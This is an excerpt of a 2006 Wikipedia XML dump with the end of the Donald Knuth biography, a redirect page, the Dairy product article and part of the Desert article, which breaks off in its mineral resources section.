Knuth (pronounced &quot;Ka-NOOTH&quot;)&lt;ref name=&quot;FAQ&quot;&gt;[http://www-cs-faculty.stanford.edu/~knuth/faq.html &quot;Frequently Asked Questions&quot; at Stanford site]&lt;/ref&gt; is best known as the author of the multi-volume ''[[The Art of Computer Programming]]'', one of the most highly respected references in the computer science field. He practically created the field of rigorous [[analysis of algorithms]], and made many seminal contributions to several branches of [[theoretical computer science]]. He is the creator of the [[TeX|T&lt;sub&gt;&lt;big&gt;E&lt;/big&gt;&lt;/sub&gt;X]] typesetting system and of the [[Metafont|METAFONT]] font design system, and pioneered the concept of [[literate programming]]. 

He also has a [[Chinese name]] 高德纳 ([[pinyin]]: G&amp;#257;o Dénà), given in 1977 by Frances Yao.&lt;ref name=&quot;FAQ&quot; /&gt;

==Education and academic work==
Born in [[Milwaukee, Wisconsin]], he received his [[bachelor's degree]] and [[master's degree]] in [[mathematics]] (simultaneously, his B.S. work being regarded as deserving a masters degree) in [[1960]] at the [[Case Western Reserve University|Case Institute of Technology]] (now the [[Case School of Engineering]], a part of [[Case Western Reserve University]]). In [[1963]], he earned a Ph.D. in mathematics from the [[California Institute of Technology]], where he became a professor and began work on ''[[The Art of Computer Programming]]'', originally planned as a seven-volume  series. In [[1968]], he published the first volume. That same year, he joined the faculty of [[Stanford University]]. 

In [[1971]], Knuth was the recipient of the first [[Association for Computing Machinery|ACM]] [[Grace Murray Hopper Award]]. He has received various other awards including the [[Turing Award]], the [[National Medal of Science]], the [[John von Neumann Medal]] and the [[Kyoto Prize]].  After producing the third volume of his series in [[1976]], he expressed such frustration with the antiquated state of publishing tools that he took time out to work on phototypesetting and created the [[TeX|T&lt;sub&gt;&lt;big&gt;E&lt;/big&gt;&lt;/sub&gt;X]] and [[METAFONT]] tools. 

In recognition of Knuth's contributions to the field of [[computer science]], in [[1990]] he was awarded the singular academic title of ''Professor of the Art of Computer Programming'', which has since been revised to ''Professor Emeritus of the Art of Computer Programming''.
 
In [[1992]] he became an associate of the [[French Academy of Sciences]]. Also that year, he retired from regular research and teaching at [[Stanford University]] in order to finish ''[[The Art of Computer Programming]]''. In [[2003]] he was elected as a Fellow of the [[Royal Society]]. As of [[2004]], the first three volumes of his series have been re-issued, and Knuth is currently working on volume four, excerpts of which are released periodically on his website. Meanwhile, Knuth gives informal lectures a few times a year at [[Stanford University]], which he calls Computer Musings.  He is also a visiting professor at the [[Oxford University Computing Laboratory]] in the [[United Kingdom]].

==Trivia==
Knuth is a [[famous programmer]] known for his [[geek]] humor:
[[Image:knuth-check2.png|thumb|right|One of Donald Knuth's reward checks]]
*He pays a [[knuth reward check|finder's fee of $2.56]] for any typos/mistakes discovered in his books, because ''&quot;256 pennies is one hexadecimal dollar&quot;.'' (His bounty for errata in ''3:16 Bible Texts Illuminated,'' is, however, $3.16). According to an article in [[Massachusetts Institute of Technology|MIT]]'s ''Technology Review'', these reward checks are &quot;among computerdom's most prized trophies&quot;.&lt;ref&gt;[http://www.technologyreview.com/articles/99/09/ditlea0999.asp &quot;Rewriting the Bible in 0's and 1's&quot;] in the [[Technology Review]] of the [[Massachusetts Institute of Technology]]&lt;/ref&gt;
*Version numbers of his [[TeX|T&lt;sub&gt;&lt;big&gt;E&lt;/big&gt;&lt;/sub&gt;X]] software approach the [[transcendental number]] [[pi|&amp;pi;]], that is versions increment in the style 3, 3.1, 3.14 and so on. Version numbers of [[Metafont]] approach the number [[E (mathematical constant)|''e'']] similarly.
*He once warned users of his software, ''&quot;Beware of bugs in the above code; I have only proved it correct, not tried it.&quot;''&lt;ref name=&quot;FAQ&quot; /&gt;
*All appendixes in the [[Computers and Typesetting]] series have titles that begin with the letter identifying the appendix.
* TAOCP v3 (1973) has the index entry &quot;Royalties, use of, 405&quot;. Page 405 has no explicit mention of royalties, but does contain a diagram of an &quot;organ-pipe arrangement&quot; in Figure 2. Apparently the purchase of the pipe organ in his home (see '''Personal''' below) was financed by royalties from TAOCP.&lt;ref&gt;[http://www-cs-faculty.stanford.edu/~knuth/organ.html &quot;Pipe Organ&quot; at Stanford site]&lt;/ref&gt;
* From the Preface of ''Concrete Mathematics'': When DEK taught [[Concrete Mathematics]] at Stanford for the first time, he explained the somewhat strange title by saying that it was his attempt to teach a math course that was hard instead of soft. He announced that, contrary to the expectations of some of his colleagues, he was ''not'' going to teach the [[Theory of Aggregates]], nor [[Stone's Embedding Theorem]], nor even the [[Stone-Čech compactification]]. (Several students from the [[civil engineering]] department got up and quietly left the room.)

In addition to his writings on computer science, Knuth is also the author of ''3:16 Bible Texts Illuminated'' ([[1991]]), ISBN 0895792524, in which he attempts to examine the Bible by a process of [[stratified sampling|stratified random sampling]], namely an analysis of chapter 3, verse 16 of each book. Each verse is accompanied by a rendering in calligraphic art, contributed by a group of calligraphers under the leadership of [[Hermann Zapf]].

Knuth published his first &quot;scientific&quot; article in a school magazine in [[1957]] under the title &quot;[[Potrzebie]] System of Weights and Measures.&quot; In it, he defined the [[fundamental unit]] of [[length]] as the thickness of [[MAD Magazine|''MAD'' magazine]] #26, and named the fundamental unit of [[force]] &quot;whatmeworry&quot;. ''MAD'' magazine bought the article and published it in the June 1957 issue.

Knuth's first &quot;mathematical&quot; article was a short paper submitted to a &quot;science
talent search&quot; contest for high-school seniors in [[1955]], and published in [[1960]],
in which he discussed number systems where the radix was negative.  He 
further generalized this to number systems where the radix was a complex number.
In particular, he defined the [[quater-imaginary base|quater-imaginary number system]], which uses the imaginary number 2i as the base, having the unusual feature that every complex number can be represented with the digits 0, 1, 2, and 3, without a sign. 

==Personal==
Knuth's hobbies include music, specifically playing the [[organ (music)|organ]]. He has a pipe organ installed in his home. Knuth disclaims any particular talent in the instrument, however. He does not use [[email]], saying that he used it from about 1975 until [[January 1]], [[1990]], and that was enough for one lifetime. He finds it more efficient to respond to correspondence in &quot;batch mode&quot;, such as one day every three months, to be sent by [[Mail|postal mail]].

He is married to [[Jill Knuth]] &lt;ref&gt;
[http://logic.pdmi.ras.ru/Slissenko60/Knuth.gif Early picture]&lt;/ref&gt;, who published a book on [[liturgy]] titled ''Banner without Words'', published by Resource Publications in 1986. They have two children.

==Awards==
* First [[Association for Computing Machinery|ACM]] [[Grace Murray Hopper Award]] - [[1971]]
* [[Turing Award]] - [[1974]]
* [[National Medal of Science]] - [[1979]]
* [[John von Neumann Medal]] - [[1995]] 
* [[Kyoto Prize]] - [[1996]]

==Works==
A short list of his works&lt;ref&gt;A complete list is also available: [http://www-cs-faculty.stanford.edu/~knuth/books.html &quot;Books&quot; at Stanford site]&lt;/ref&gt; can be found on Donald Knuth's homepage):
* Donald E. Knuth, The Art of Computer Programming, Volumes 1&amp;ndash;3
# Volume 1: Fundamental Algorithms (3rd edition),  1997. ISBN 0201896834
# Volume 2: Seminumerical Algorithms (3rd Edition), 1997. ISBN 0201896842
# Volume 3: Sorting and Searching (2nd Edition), 1998. ISBN 0201896850
# Volume 4: Combinatorial Algorithms, in preparation
# Volume 5: Syntaxic Algorithms, in preparation, estimated to be ready in 2010
* Donald E. Knuth, The Art of Computer Programming, fascicles:
# Volume 1, Fascicle 1: MMIX &amp;mdash; A RISC Computer for the New Millennium, 2005. ISBN 0201853922
# Volume 4, Fascicle 2: Generating All Tuples and Permutations, 2005. ISBN 0201853930
# Volume 4, Fascicle 3: Generating All Combinations and Partitions, 2005. ISBN 0201853949
# Volume 4, Fascicle 4: Generating All Trees -- History of Combinatorial Generation, 2006. ISBN 0321335708 
* Donald E. Knuth, The TeXbook (Reading, Massachusetts: Addison-Wesley), 1984. ISBN 0201134489
* Donald E. Knuth, The METAFONTbook (Reading, Massachusetts: Addison-Wesley), 1986. ISBN 0201134446
* [[Ronald Graham|Ronald L. Graham]], Donald E. Knuth, Oren Patashnik, Concrete Mathematics: A Foundation for Computer Science, 2nd edition (Reading, Massachusetts: Addison-Wesley), 1994. ISBN 0201558025
*''Selected papers'' series:&lt;ref&gt;[http://www-cs-faculty.stanford.edu/~knuth/selected.html &quot;Selected Papers&quot; at Stanford site]&lt;/ref&gt;
# Donald E. Knuth, Literate Programming (Center for the Study of Language and Information - Lecture Notes), 1992. ''ISBN 0937073806''
# Donald E. Knuth, Selected Papers on Computer Science (Stanford, California: Center for the Study of Language and Information - CSLI Lecture Notes, no. 59), 1996. ISBN 1881526917
# Donald E. Knuth, Digital Typography (Stanford, California: Center for the Study of Language and Information - CSLI Lecture Notes, no. 78), 1999. ISBN 1575860104
# Donald E. Knuth, Selected Papers on Analysis of Algorithms (Stanford, California: Center for the Study of Language and Information - CSLI Lecture Notes, no. 102), 2000. ISBN 1575862123
# Donald E. Knuth, Selected Papers on Computer Languages (Stanford, California: Center for the Study of Language and Information - CSLI Lecture Notes, no. 139), 2003. ISBN 1575863812 (cloth), ISBN 1575863820 (paperback)
# Donald E. Knuth, Selected Papers on Discrete Mathematics (Stanford, California: Center for the Study of Language and Information - CSLI Lecture Notes, no. 106), 2003. ISBN 1575862492 (cloth), ISBN 1575862484 (paperback)
# Donald E. Knuth, Selected Papers on Design of Algorithms (scheduled for publication in 2007)
# Donald E. Knuth, Selected Papers on Fun and Games (scheduled for publication in 2007) 

* Donald E. Knuth, 3:16 Bible Texts Illuminated (Madison, Wisconsin: A-R Editions), 1990. ISBN 0895792524
* Donald E. Knuth, Things a Computer Scientist Rarely Talks About (Center for the Study of Language and Information - CSLI Lecture Notes no 136), 2001. ISBN 157586326X

==References==
===Interviews, Q&amp;A===
* Doernberg, D. [http://www.literateprogramming.com/clb93.pdf Computer Literacy Interview With Donald Knuth]. [[7 December]] [[1993]].
* [http://www.tug.org/TUGboat/Articles/tb17-1/tb50knut.pdf TUG'95 (St Petersburg, FL, USA) Questions and answers with Prof. Donald E. Knuth]. ''TUGboat'' 17 (1), [[1996]]
* Woehr, J. [http://www.ntg.nl/maps/pdf/16_14.pdf An interview with Donald Knuth] ''Dr. Dobb's Journal'', April [[1996]], p. 16-22.
* [http://www.awprofessional.com/content/images/0201896834/interview/0201896834.html  Donald Knuth on The Art of Computer Programming] Addison-Wesley Innovations, 1996
* [http://bulletin.cstug.cz/pdf/bul964.pdf Questions and Answers with Prof. Donald E. Knuth]. Czech TUG, Charles University, [[Prague]], [[1996]]
* [http://www.ntg.nl/maps/pdf/16_15.pdf Knuth meets NTG members], [[Amsterdam]], [[13 March]] [[1996]].
* [http://www.literateprogramming.com/byte1996.html Knuth Comments on Code], [[Byte magazine]], September 1996.
* [http://www.amazon.com/exec/obidos/tg/feature/-/4165 Donald Knuth: A life's work in the art of programming] [[Amazon.com]], [[1997]].
* [http://technetcast.ddj.com/tnc_play_stream.html?stream_id=199 Donald Knuth: MMIX, A RISC Computer for the New Millennium]. Audio recording of a presetation at the monthly meeting of the [[Boston]] [[ACM]] [[30 December]][[1999]]
* [http://www.tug.org/TUGboat/Articles/tb22-1-2/tb70knut.pdf U.K. TUG, Oxford, [[12 September]] [[1999]]: Question &amp; Answer Session with Donald Knuth]. ''TUGboat'', 22 (1/2), [[2001]].
* Wallace, Mark. [http://www.salon.com/tech/feature/1999/09/16/knuth The art of Don E. Knuth] Interview on [[salon.com]], [[1999]].
* [http://www.tug.org/TUGboat/Articles/tb21-2/tb67advo.pdf Advogato, 2000], also available as [http://www.advogato.org/article/28.html HTML Version]
* [http://www.ams.org/notices/200203/fea-knuth.pdf AMS, 2001]
* [http://www.geekchic.com/repliq6.htm Geek Celebs, 2001]
* [http://www.tug.org/TUGboat/Articles/tb23-3-4/tb75knuth.pdf Oslo, 2002]
* [http://www.heise.de/ct/02/05/190 c't, 2002 (in German)]
* [http://www-x.nzz.ch/folio/archiv/2002/02/articles/haffner.html NZZ Folio, 2002 (in German)]
* [http://www.npr.org/templates/story/story.php?storyId=4532247 Donald Knuth, Founding Artist of Computer Science]. Audio interview by David Kestenbaum on [[National Public Radio]]; or [http://www.soundbytes.org/phpBB2/viewtopic.php?t=5643&amp;sid=bf7d0d454451865c6409201cf55746f5 Transcript], [[14 March]] [[2005]].
* [http://www.freesoftwaremagazine.com/free_issues/issue_07/pdfs/FSM_issue_07_interview_knuth.pdf Free Software Magazine interview by Gianluca Pignalberi, [[August]] [[2005]]].
&lt;references /&gt;
==See also==
*[[Knuth-Morris-Pratt algorithm]]
*[[Knuth shuffle#Shuffling algorithms|Knuth shuffle]]
*[[Knuth's up-arrow notation]]
*[[Knuth-Bendix completion algorithm]]
*[[Man or boy test]]
*[[Trabb Pardo-Knuth algorithm]]
*[[Dancing Links]]

==External links==
{{Wikiquote}}
* [http://www-cs-faculty.stanford.edu/~knuth/ The Stanford home page of Donald Knuth]
* [http://www-gap.dcs.st-and.ac.uk/~history/Mathematicians/Knuth.html Long biography of Knuth]
* [http://www.softpanorama.org/People/Knuth/index.shtml Donald Knuth: Leonard Euler of Computer Science (Softpanorama)]
* [http://scpd.stanford.edu/knuth/ Videos of presentations w/ Donald Knuth]
* [http://www.crossmyt.com/hc/potrzebi.gif The Potrzebie System of Weights and Measures]

&lt;!-- Interwikis found using http://vs.aka-online.de/globalwpsearch/ --&gt;

[[Category:1938 births|Knuth, Donald]]
[[Category:Living people|Knuth, Donald]]
[[Category:American computer scientists|Knuth, Donald]]
[[Category:American mathematicians|Knuth, Donald]]
[[Category:American professors|Knuth, Donald]]
[[Category:American technology writers|Knuth, Donald]]
[[Category:California writers|Knuth, Donald]]
[[Category:Christians in science|Knuth]]
[[Category:Computer pioneers|Knuth, Donald]]
[[Category:Computer scientists|Knuth, Donald]]
[[Category:Computer scientists|Knuth, Donald]]
[[Category:Fellows of the Royal Society|Knuth, Donald]]
[[Category:Fellows of the ACM|Knuth, Donald]]
[[Category:Programmers|Knuth, Donald]]
[[Category:Theta Chi brothers|Knuth, Donald]]
[[Category:Turing Award laureates|Knuth, Donald]]
[[Category:National Medal of Science recipients|Knuth]]
[[Category:Free Software developers|Knuth, Donald]]
[[Category:Members of Oxford University Computing Laboratory|Knuth, Don]]
[[Category:Members and associates of the US National Academy of Sciences|Knuth, Don]]

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  <page>
    <title>Donald E. Knuth</title>
    <id>8096</id>
    <revision>
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      <text xml:space="preserve">#REDIRECT [[Donald Knuth]]
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  </page>
  <page>
    <title>Dairy product</title>
    <id>8097</id>
    <revision>
      <id>41644404</id>
      <timestamp>2006-02-28T19:28:41Z</timestamp>
      <contributor>
        <username>Zeiden</username>
        <id>16886</id>
      </contributor>
      <comment>/* Criticism */</comment>
      <text xml:space="preserve">'''Dairy products''' are generally defined as [[food]]stuffs produced from [[milk]]. A production plant for such processing is called a [[dairy]]. Raw milk for processing generally comes from [[cattle|cow]]s, but occasionally from other [[mammal]]s such as [[domestic goat|goats]], [[domestic sheep|sheep]], [[water buffalo]], [[yak]]s, or [[horse]]s.

[[Image:Dairy farm.jpg|thumb|200px|Dairy farm]]

==Types of dairy products==
There are more than 30 main products made from milk with a number of sub-products in each category. Dairy products include:
*[[Milk]], after optional [[homogenization]], [[pasteurization]], in several grades after standardization of the fat level 
**[[Cream (food)|Cream]], the fat skimmed off the top of milk or separated by machine-centrifuges 
***[[Sour cream]], cream that has been [[fermentation|fermented]] by the bacteria ''[[Streptococcus]] lactis'' and ''Leuconostoc citrovorum'' 
***[[Crème fraîche]], slightly fermented cream
**[[Cultured buttermilk]], fermented concentrated (water removed) milk using the same bacteria as sour cream
**[[Powdered milk|Milk powder]] (or powdered milk), produced by removing the water from milk
*** Whole milk &amp; buttermilk 
*** [[Skim milk]]
*** Cream 
*** High milk-fat &amp; nutritional powders (for infant formulas) 
*** Cultured and confectionery powders 
**[[Condensed milk]], milk which has been concentrated by evaporation, often with sugar added for longer life in an opened can
**[[Evaporated milk]], (less concentrated than condensed) milk without added sugar
**[[Khoa (food)|Khoa]]
**[[Infant formula]], dried milk powder with specific additives for feeding human infants 

*[[Butter]], mostly milk fat, produced by churning cream
**[[Buttermilk]], the liquid left over after producing butter from cream, often dried as [[livestock]] food
**[[Ghee]], clarified butter, by gentle heating of butter and removal of the solid matter 
** [[Anhydrous]] milkfat 

*[[Cheese]], produced by coagulating milk, separating from whey and letting it ripen, generally with [[bacterium|bacteria]] and sometimes also with certain [[mold]]s
**[[Curd]]s, the soft curdled part of milk (or skim milk) used to make cheese (or casein) 
**[[Whey]], the liquid drained from curds and used for further processing or as a livestock food 
**[[Cottage cheese]]
**[[Cream cheese]], produced by the addition of cream to milk and then curdled to form a rich curd or cheese made from skim milk with cream added to the curd
**[[Fromage frais]]

* [[Casein]]
** [[Caseinates]]
** Milk [[protein]] concentrates and isonates 
** [[Whey]] protein concentrates and isonates 
** [[Hydrolysates]] 
** [[Mineral]] concentrates

*[[Yoghurt|Yogurt]], milk fermented by ''[[Streptococcus]] salivarius ssp. thermophilus'' and ''[[Lactobacillus delbrueckii ssp. bulgaricus]]'' sometimes with additional bacteria, such as ''[[Lactobacillus]] acidophilus''  
**[[Ayran]]
**[[Lassi]]

*[[Gelato]], slowly frozen milk and water

*[[Ice cream]], slowly frozen cream and emulsifying additives
**[[Ice milk]]
**[[Frozen custard]]
**[[Frozen yogurt]], yogurt with emulsifiers that is frozen 

*Other
**[[Kumiss]]/[[Airag]]
**[[Viili]]
**[[Kajmak]]
**[[Kephir]]
**[[Filmjölk]]
**[[Piimä]]

[[Got Milk?]] is an international organization supporting dairy products, especially [[milk]].

== History ==
Most dairy products were developed in [[Europe]], the [[Middle East]] and [[Africa]]; the people of these continents have traditionally been the most active in terms of exploiting [[cattle]] as a primary food source. Some dairy products originate from other countries, like [[India]]n [[ghee]]. A small number of non-[[cow]] dairy products exist like [[Italy|Italian]] [[water buffalo]] [[mozzarella]] cheese, [[yak]] butter in [[Tibet]] or the fermented [[horse]] milk drink called [[airag]] in [[Mongolia]].

Dairy products were exported to the rest of the world during the 16th and 17th centuries.  They are now universally popular, despite the fact that some people cannot consume them in adulthood because of [[lactose intolerance]].

== Criticism ==

[[Vegan]]s and some [[vegetarian]]s avoid dairy products due to various reasons, such as [[ethic]]al, [[health]], [[environment]]al considerations, and others.

== Eggs as dairy? ==
[[Egg (food)|Egg]]s and milk products are in some circumstances grouped together under the heading of dairy, probably because fresh eggs were often sold by milkmen. For example, the [[Open Directory Project]] at one point listed cooking eggs as a subcategory of cooking dairy products. However, dictionary definitions of &quot;dairy&quot; are limited to milk products and, as a result, will always exclude eggs and egg products. 

== Beef as dairy? ==
Although milk comes from cows, [[beef]] is not considered a dairy product. Dairy products are considered by some to be [[vegetarian]] while beef, as meat, is not.

==External links==
{{cookbook}}
* [http://www.gotmilk.com/ Got Milk?]
* [http://www.moomilk.com MooMilk.com -- Dairy Industry information for children and dairy professionals]
* [http://www.nzmp.com/cda/frontpage/0,,c400210_g400076,00.html NZMP list of ingredients manufactured from milk]
* [http://www.food-info.net/uk/qa/dairy.htm Questions and Answers on dairy products]
* [http://www.idswageningen.nl International Dairy School]


[[Category:Dairy products|*]]
[[Category:Nutrition]]

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  </page>
  <page>
    <title>Desert</title>
    <id>8098</id>
    <revision>
      <id>41340752</id>
      <timestamp>2006-02-26T18:34:57Z</timestamp>
      <contributor>
        <username>ScottMainwaring</username>
        <id>288266</id>
      </contributor>
      <comment>rv - Mojave or Sonoran deserts are not &quot;prominently discussed&quot; here (see [[Wikipedia:Categorization]])</comment>
      <text xml:space="preserve">[[Image:Saudi-desert.gif|thumb|right|300px|Desert view in Saudi Arabia. The vast majority of the kingdom is sand desert, with distinct features and characteristics that clearly differ between one area and another.]]
In [[geography]], a '''desert''' is a landscape form or region that receives little [[precipitation (meteorology)|precipitation]] - less than 250 [[millimeter|mm]] (10 [[inch|in]]) per year. Deserts have a reputation for supporting very little life. Compared to wetter regions this may be true, although upon closer examination, deserts often harbor a wealth of life that usually remains hidden (especially during the daylight) to preserve moisture. Approximately one-third of Earth's land surface is desert. 

Desert landscapes have certain common features. Desert soil is often composed mostly of rocky surfaces called [[reg]]s. [[Sand dunes]] called [[Erg (disambiguation)|erg]]s and stony or [[hamada]] surfaces compose the minority of desert surfaces. Exposures of [[Rock (geology)|rocky]] terrain are typical, and reflect minimal soil development and sparseness of vegetation. Bottom lands may be [[salt]]-covered flats. [[Eolian]] (wind-driven) processes are major factors in shaping desert landscapes.

Deserts sometimes contain valuable mineral deposits that were formed in the arid environment or that were exposed by erosion. Because deserts are dry, they are ideal places for human artifacts and fossils to be preserved.

In the [[Köppen climate classification]] system, they are classed as (BW).  

==Types of desert==
[[Image:Désert-du-Thar.jpg|300px|thumb|right|The [[Thar Desert]] near [[Jaisalmer]], [[India]]]]
Most classifications rely on some combination of the number of days of [[rain]]fall, the total amount of annual rainfall, temperature, [[humidity]], or other factors. In [[1953]], [[Peveril Meigs]] divided desert regions on Earth into three categories according to the amount of precipitation they received. In this now widely accepted system, extremely arid lands have at least 12 consecutive months without rainfall, arid lands have less than 250 millimeters of annual rainfall, and semiarid lands have a mean annual precipitation of between 250 and 500 millimeters. Arid and extremely arid land are deserts, and semiarid grasslands generally are referred to as [[steppes]].

However, lack of rainfall alone can't provide an accurate description of what a desert is.  For example, [[Phoenix, Arizona]] receives less than 250 millimeters, (10 inches), of precipitation per year, and is immediately recognized as being located in a desert.  The [[North Slope]] of Alaska's [[Brooks Range]] also receives less than 250 millimeters of precipitation per year, but is not generally recognized as a desert region.

The difference lies in something termed &quot;potential [[evapotranspiration]].&quot; 
The water budget of an area can be calculated using the formula P-PE+/-S, whereby P is precipitation, PE is potential evapotranspiration rates and S is amount of surface storage of water. 
Evapotranspiration is the combination of water loss through atmospheric [[evaporation]], coupled with the evaporative loss of water through the life processes of plants.  Potential evapotranspiration, then, is the amount of water that ''could'' evaporate in any given region.  [[Tucson, Arizona]] receives about 300 millimeters, (12 inches), of rain per year, however about 2500 millimeters, (100 inches), of water could evaporate over the course of a year.  In other words, about 8 times more water could evaporate from the region than actually falls.  Rates of evapotranspiration in other regions such as Alaska are much lower, so while these regions receive minimal precipitation, they should be designated as specifically different from the simple definition of a desert:  a place where evaporation exceeds precipitation.

That said, there are different forms of deserts. Cold deserts can be covered in [[snow]]; such locations don't receive much precipitation, and what does fall remains frozen as snow pack; these are more commonly referred to as [[tundra]] if a short season of above-freezing temperatures is experienced, or as an [[ice cap]] if the temperature remains below freezing year-round, rendering the land almost completely lifeless.

Most non-polar deserts are hot because they have little [[water]]. Water tends to have a cooling, or at least a moderating,  effect in environments where it is plentiful. In some parts of the world deserts are created by a [[rain shadow]] effect in which air masses lose much of their moisture as they move over a [[mountain range]]; other areas are arid by virtue of being very far from the nearest available sources of moisture (this is true in some middle-latitude landmass interior locations, particularly in [[Asia]]).

Deserts are also classified by their geographical location and dominant weather pattern as trade wind, mid-latitude, rain shadow, coastal, monsoon, or [[polar desert]]s. Former desert areas presently in non-arid environments are paleodeserts, and extraterrestrial deserts exist on other planets.

===Montane deserts===
[[Montane]]deserts are arid places with a very high [[altitude]]; the most prominent example is found north of the [[Himalaya]], in parts of the [[Kunlun Mountains]] and the [[Tibetan Plateau]]. Many locations within this category have elevations exceeding 3,000 meters (9,843 feet) and the thermal regime can be [[hemiboreal]]. These places owe their profound aridity (the average annual precipitation is often less than 40mm) to being very far from the nearest available sources of moisture.

==Desert features==

[[Sand]] covers only about 20 percent of Earth's deserts. Most of the sand is in [[sand sheet]]s and sand seas&amp;mdash;vast regions of undulating dunes resembling ocean waves &quot;frozen&quot; in an instant of time. In general, there are 6 forms of deserts:
* Mountain and basin deserts;
* Hamada deserts, which comprise of a plateaux landforms;
* Regs which consist of rock pavements;
* Ergs which are formed by sand seas;
* Intermontane Basins; and
* Badlands which are located at the margins of arid lands comprising of clay-rich soil.

Nearly 100 percent of desert surfaces are plains where [[eolian deflation]]&amp;mdash;removal of fine-grained material by the wind&amp;mdash;has exposed loose gravels consisting predominantly of [[pebble]]s but with occasional [[cobble]]s.

The remaining surfaces of arid lands are composed of exposed [[bedrock]] outcrops, desert soils, and [[fluvial deposit]]s including [[alluvial fan]]s, [[playa]]s, desert [[lake]]s, and oases/oasis. Bedrock outcrops commonly occur as small mountains surrounded by extensive erosional plains. 

There are several different types of dunes. Barchan dunes are produced by strong winds blowing across a level surface and are crescent shaped. Longitudinal or seif dunes are dunes that are parallel to a strong wind that blows in one general direction. Transverse dunes run are a right angle to the constant wind direction. Star dunes are star-shaped and have several ridges that spread out around a point.

[[Oasis|Oases]] are vegetated areas moistened by [[spring (water)|springs]], [[well]]s, or by [[irrigation]]. Many are artificial. Oases are often the only places in deserts that support crops and permanent habitation.

===Soils===
[[Image:Dessication.JPG|thumb|right|250px|Ground in the desert tends to crack due to the dryness.]] [[Soil]]s that form in arid climates are predominantly mineral soils (classified as [[Aridisols]]) with low organic content such as salt. The repeated accumulation of water in some soils causes distinct salt layers to form. [[Calcium carbonate]] precipitated from solution may cement sand and gravel into hard layers called &quot;[[calcrete]]&quot; that form layers up to 50 meters thick.

[[Caliche]] is a reddish-brown to white layer found in many desert soils. Caliche commonly occurs as nodules or as coatings on mineral grains formed by the complicated interaction between water and [[carbon dioxide]] released by plant roots or by decaying organic material.

===Vegetation===
Most desert plants are drought- or salt-tolerant, such as [[xerophyte]]s. Some store water in their leaves, roots, and stems. Other desert plants have long [[tap root]]s that penetrate the water table, anchor the soil, and control erosion. The stems and leaves of some plants lower the surface velocity of sand-carrying winds and protect the ground from erosion.

Deserts typically have a plant cover that is sparse but enormously diverse. The [[Sonoran Desert]] of the American Southwest has the most complex desert vegetation on Earth. The giant [[saguaro cactus|saguaro cacti]] provide nests for desert birds and serve as &quot;trees&quot; of the desert. Saguaro grow slowly but may live 200 years. When 9 years old, they are about 15 centimeters high. After about 75 years, the cacti develop their first branches. When fully grown, saguaro are 15 meters tall and weigh as much as 10 tons. They dot the Sonoran and reinforce the general impression of deserts as cacti-rich land.

Although cacti are often thought of as characteristic desert plants, other types of plants have adapted well to the arid environment. They include the [[pea]] family and [[sunflower]] family. Cold deserts have grasses and shrubs as dominant vegetation.

===Water===
[[Image:Moving sand simulator questacon.jpg|thumb|left|The shifting sands simulator at [[Questacon]], Canberra]]
Rain does fall occasionally in deserts, and desert storms are often violent. A record 44 millimeters of rain once fell within 3 hours in the Sahara. Large Saharan storms may deliver up to 1 millimeter per minute. Normally dry stream channels, called [[arroyo (creek)|arroyos]] or [[wadi]]s, can quickly fill after heavy rains, and [[flash flood]]s make these channels dangerous.

Though little rain falls in deserts, deserts receive runoff from ephemeral, or short-lived, streams fed by rain and snow from adjacent highlands. These streams fill the channel with a slurry of mud and commonly transport considerable quantities of sediment for a day or two. Although most deserts are in basins with closed, or interior drainage, a few deserts are crossed by 'exotic' rivers that derive their water from outside the desert. Such rivers infiltrate soils and evaporate large amounts of water on their journeys through the deserts, but their volumes are such that they maintain their continuity. The [[Nile River]], the [[Colorado River (U.S.)|Colorado River]], and the [[Yellow River]] are exotic rivers that flow through deserts to deliver their sediments to the sea.

Lakes form where rainfall or meltwater in interior drainage basins is sufficient. Desert lakes are generally shallow, temporary, and salty. Because these lakes are shallow and have a low bottom gradient, wind stress may cause the lake waters to move over many square kilometers. When small lakes dry up, they leave a salt crust or [[hardpan]]. The flat area of clay, silt, or sand encrusted with salt that forms is known as a playa. There are more than a hundred playas in North American deserts. Most are relics of large lakes that existed during the last [[ice age]] about 12,000 years ago. [[Lake Bonneville]] was a 52,000-square-kilometer lake almost 300 meters deep in Utah, Nevada, and Idaho during the Ice Age. Today the remnants of Lake Bonneville include Utah's [[Great Salt Lake]], [[Utah Lake]], and [[Sevier Lake]]. Because playas are arid land forms from a wetter past, they contain useful clues to climatic change.

When the occasional precipitation does occur, it erodes the desert rocks quickly and powerfully. Wind is the other factor that erodes deserts- they are constant yet slow.

The flat terrains of hardpans and playas make them excellent race tracks and natural runways for airplanes and spacecraft. Ground-vehicle speed records are commonly established on [[Bonneville Speedway]], a race track on the Great Salt Lake hardpan. Space shuttles land on [[Rogers Lake Playa]] at [[Edwards Air Force Base]] in California.

==Mineral resources==
Some [[mineral]] deposits are formed, improved, or preserved by geologic processes that occur in arid lands as a consequence of climate. [[Ground water]] [[leaching|leach]]es [[ore]] minerals and redeposits them in zones near the [[water table]]. This leaching process concentrates these minerals as ore that can be mined.

Evaporation in arid lands enriches mineral accumulation in their lakes. Playas may be sources of mineral deposits formed by evaporation. Water evaporating in closed basins precipitates minerals such as [[gypsum]], salts (including [[sodium nitrate]] and [[sodium chloride]]), and [[borate]]s. The minerals formed in these [[evaporite]] deposits depend on the composition and temperature of the saline waters at the time of deposition.

Significant evaporite resources occur in the [[Great Basin Desert]] of the United States, mineral deposits made forever famous by the &quot;20-mule teams&quot; that once hauled borax-laden wagons from [[Death Valley]] to the [[railroad]]. [[Boron]], from [[borax]] and borate evaporites, is an essential ingredient in the manufacture of glass, ceramics, enamel, agricultural chemicals, water softeners, and pharmaceuticals. Borates are mined from evaporite deposits at [[Searles Lake]], California, and other desert locations. The total value of chemicals that have been produced from Searles Lake substantially exceeds [[US dollar|US$]]1 [[billion]].

The [[Atacama Desert]] of [[South America]] is unique among the deserts of the world in its great abundance of saline minerals. Sodium nitrate has been mined for [[explosive]]s and [[fertilizer]] in the Atacama since the middle of the [[19th century]]. Nearly 3 million [[tonne]]s were mined during [[World War I]].

Valuable minerals located in arid lands include [[copper]] in the United States, Chile, [[Peru]], and [[Iran]]; [[iron]] and [[lead]]-[[zinc]] ore in Australia; [[chromite]] in [[Turkey]]; and [[gold]], [[silver]], and [[uranium]] deposits in Australia and the United States. Nonmetallic mineral resources and rocks such as [[beryllium]], [[mica]], [[lithium]], [[clay]]s, [[pumice]], and [[scoria]] also occur in arid regions. [[Sodium carbonate]], [[sulfate]], borate, [[nitrate]], lithium, [[bromine]], [[iodine]], [[calcium]], and [[strontium]] compounds come from sediments and near-surface brines formed by evaporation of inland bodies of water, often during geologically recent times.

